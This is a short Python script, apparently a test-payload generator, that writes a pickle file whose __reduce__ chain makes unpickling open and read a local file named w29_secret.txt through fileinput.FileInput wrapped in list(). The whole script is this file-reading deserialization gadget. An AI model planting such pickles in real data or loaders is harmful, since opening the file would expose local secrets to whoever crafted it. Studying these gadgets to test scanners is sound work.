File size: 417 Bytes
f142b5b | 1 2 3 4 5 6 7 8 9 10 11 12 | import pickle, pathlib, fileinput
OUT = pathlib.Path(__file__).with_name("fileinput_FileInput.pkl")
PATH = r"C:\Users\uozer\AppData\Local\Temp\opencode\w29_secret.txt"
class FI:
def __reduce__(self):
return (fileinput.FileInput, ((PATH,),))
class E:
def __reduce__(self):
return (list, (FI(),))
OUT.write_bytes(pickle.dumps(E(), protocol=4))
print("wrote", OUT, OUT.stat().st_size)
|